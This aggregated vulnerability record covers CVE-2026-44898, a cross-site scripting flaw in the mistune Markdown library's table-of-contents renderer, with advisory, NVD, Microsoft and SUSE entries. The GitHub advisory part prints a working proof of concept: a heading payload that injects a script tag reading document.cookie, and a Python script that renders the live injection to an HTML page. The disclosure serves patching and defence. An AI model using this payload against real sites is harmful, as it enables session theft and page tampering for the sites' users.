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CVE-2026-44898 (GCVE-0-2026-44898)
Vulnerability from cvelistv5 – Published: 2026-05-26 20:41 – Updated: 2026-05-27 17:57- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags |
|---|---|
| https://github.com/lepture/mistune/security/advis… | x_refsource_CONFIRM |
| https://github.com/lepture/mistune/releases/tag/v3.2.1 | x_refsource_MISC |
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FKIE_CVE-2026-44898
Vulnerability from fkie_nvd - Published: 2026-05-26 21:16 - Updated: 2026-05-28 13:42| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/lepture/mistune/releases/tag/v3.2.1 | Product, Release Notes | |
| security-advisories@github.com | https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv | Exploit, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv | Exploit, Vendor Advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| mistune_project | mistune | * |
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GHSA-6269-CQXG-MHHV
Vulnerability from github – Published: 2026-05-14 16:36 – Updated: 2026-05-14 16:36Summary
render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details
File: src/mistune/toc.py
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '<a href="#{}">{}</a>'.format(k, text)
# Neither k nor text is passed through escape() at any point
The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
Output — clean, safe TOC:
<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>
Step 2 — Enable the vulnerable heading_id callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:
## x"><script>alert(document.cookie)</script><a href="
When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
render_toc_ul() formats the malicious ID directly into the <a href>:
'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output:
<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li>
</ul>
The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h4.md"
bl_src = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md"
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{ex_file}]\n{ex_src}")
print("[toc output — script injected via href breakout]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>TOC output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 — TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
Example usage:
python poc.py
Once you run the script, open report_h4.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |
| Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects |
| Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
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"github_reviewed_at": "2026-05-14T16:36:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n ...\n for level, k, text in toc:\n # k = heading id (used verbatim as href fragment)\n # text = heading text (used verbatim as link label)\n item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n \u003cdiv class=\"panels\"\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity** | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
"id": "GHSA-6269-cqxg-mhhv",
"modified": "2026-05-14T16:36:12Z",
"published": "2026-05-14T16:36:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/04880a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mistune TOC Anchor Injection XSS"
}
MSRC_CVE-2026-44898
Vulnerability from csaf_microsoft - Published: 2026-05-02 00:00 - Updated: 2026-06-02 01:44| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 21330-17084 | — |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 17084-1 | — |
| URL | Category |
|---|---|
| https://msrc.microsoft.com/csaf/vex/2026/msrc_cve… | self |
| https://support.microsoft.com/lifecycle | external |
| https://www.first.org/cvss | external |
| https://msrc.microsoft.com/csaf/vex/2026/msrc_cve… | self |
{
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"text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
"title": "Additional Resources"
},
{
"category": "legal_disclaimer",
"text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
"title": "Disclaimer"
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"name": "Microsoft Security Response Center",
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"category": "self",
"summary": "CVE-2026-44898 Mistune TOC Anchor Injection XSS - VEX",
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},
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{
"category": "external",
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"url": "https://www.first.org/cvss"
}
],
"title": "Mistune TOC Anchor Injection XSS",
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"generator": {
"date": "2026-06-02T07:14:05.907Z",
"engine": {
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"version": "1.0"
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},
"id": "msrc_CVE-2026-44898",
"initial_release_date": "2026-05-02T00:00:00.000Z",
"revision_history": [
{
"date": "2026-05-28T01:06:34.000Z",
"legacy_version": "1",
"number": "1",
"summary": "Information published."
},
{
"date": "2026-06-02T01:44:33.000Z",
"legacy_version": "2",
"number": "2",
"summary": "Information published."
}
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"version": "2"
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"name": "\u003cazl3 python-mistune 0:3.0.2-1.azl3",
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"product_id": "21330"
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"name": "Microsoft"
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"vulnerabilities": [
{
"cve": "CVE-2026-44898",
"cwe": {
"id": "CWE-79",
"name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
},
"notes": [
{
"category": "general",
"text": "GitHub_M",
"title": "Assigning CNA"
}
],
"product_status": {
"fixed": [
"21330-17084"
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"17084-1"
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{
"category": "self",
"summary": "CVE-2026-44898 Mistune TOC Anchor Injection XSS - VEX",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-44898.json"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"environmentalsScore": 0.0,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"temporalScore": 6.1,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"17084-1"
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}
],
"title": "Mistune TOC Anchor Injection XSS"
}
]
}
OPENSUSE-SU-2026:20827-1
Vulnerability from csaf_opensuse - Published: 2026-05-28 12:07 - Updated: 2026-05-28 12:07| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
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"category": "summary",
"text": "Security update for python-mistune",
"title": "Title of the patch"
},
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"category": "description",
"text": "This update for python-mistune fixes the following issues\n\n- CVE-2026-33079: ReDoS in `LINK_TITLE_RE` can lead to denial of service via a crafted Markdown (bsc#1264347).\n- CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of\n service (bsc#1264752).\n- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).\n- CVE-2026-44896: improper escaping in `render_figure` can lead to attribute injection and XSS (bsc#1264754).\n- CVE-2026-44897: improper sanitization of user-controlled input in `HTMLRenderer.heading` can lead to XSS\n (bsc#1264750).\n- CVE-2026-44898: improper sanitization of user-supplied HTML input in `render_toc_ul` can lead to XSS (bsc#1265052).\n- CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in `render_block_image`\n can lead to CSS injection (bsc#1265053).\n",
"title": "Description of the patch"
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"summary": "SUSE Bug 1264347",
"url": "https://bugzilla.suse.com/1264347"
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"category": "self",
"summary": "SUSE Bug 1264750",
"url": "https://bugzilla.suse.com/1264750"
},
{
"category": "self",
"summary": "SUSE Bug 1264751",
"url": "https://bugzilla.suse.com/1264751"
},
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"category": "self",
"summary": "SUSE Bug 1264752",
"url": "https://bugzilla.suse.com/1264752"
},
{
"category": "self",
"summary": "SUSE Bug 1264754",
"url": "https://bugzilla.suse.com/1264754"
},
{
"category": "self",
"summary": "SUSE Bug 1265052",
"url": "https://bugzilla.suse.com/1265052"
},
{
"category": "self",
"summary": "SUSE Bug 1265053",
"url": "https://bugzilla.suse.com/1265053"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33079 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33079/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33441 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33441/"
},
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"category": "self",
"summary": "SUSE CVE CVE-2026-44708 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44708/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44896 page",
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SUSE-SU-2026:21858-1
Vulnerability from csaf_suse - Published: 2026-05-28 12:08 - Updated: 2026-05-28 12:08| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
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"summary": "SUSE CVE CVE-2026-44899 page",
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"title": "Security update for python-mistune",
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"vulnerabilities": [
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"notes": [
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"text": "In versions 3.0.0a1 through 3.2.0 of Mistune, there is a ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` that allows an attacker who can supply Markdown for parsing to cause denial of service. The regular expression used for parsing link titles contains overlapping alternatives that can trigger catastrophic backtracking. In both the double-quoted and single-quoted branches, a backslash followed by punctuation can be matched either as an escaped punctuation sequence or as two ordinary characters, creating an ambiguous pattern inside a repeated group. If an attacker supplies Markdown containing repeated ! sequences with no closing quote, the regex engine explores an exponential number of backtracking paths. This is reachable through normal Markdown parsing of inline links and block link reference definitions. A small crafted input can therefore cause significant CPU consumption and make applications using Mistune unresponsive.",
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"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
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"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
],
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"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
],
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{
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"date": "2026-05-28T12:08:10Z",
"details": "important"
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"title": "CVE-2026-33441"
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{
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"ids": [
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"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44708"
}
],
"notes": [
{
"category": "general",
"text": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.",
"title": "CVE description"
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"summary": "SUSE Bug 1264751 for CVE-2026-44708",
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"scores": [
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"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
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],
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"date": "2026-05-28T12:08:10Z",
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],
"title": "CVE-2026-44708"
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{
"cve": "CVE-2026-44896",
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"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44896"
}
],
"notes": [
{
"category": "general",
